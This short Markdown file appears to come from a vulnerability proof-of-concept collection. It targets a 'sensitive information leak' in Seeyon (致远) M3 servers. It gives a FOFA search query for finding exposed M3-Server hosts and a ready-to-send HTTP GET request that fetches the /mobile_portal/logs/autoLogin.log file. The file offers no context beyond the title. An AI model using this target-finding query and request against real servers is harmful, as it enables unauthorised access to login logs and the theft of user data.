20 lines
457 B
Markdown
20 lines
457 B
Markdown
|
## 致远M3敏感信息泄露漏洞
|
||
|
|
|
||
|
|
|
||
|
|
## fofa
|
||
|
|
```
|
||
|
|
title="M3-Server"
|
||
|
|
```
|
||
|
|
|
||
|
|
## poc
|
||
|
|
```
|
||
|
|
GET /mobile_portal/logs/autoLogin.log HTTP/1.1
|
||
|
|
Host: x.x.x.x
|
||
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
|
||
|
|
Accept-Charset: utf-8
|
||
|
|
Accept-Encoding: gzip, deflate
|
||
|
|
Connection: close
|
||
|
|
```
|
||
|
|
|
||
|
|
|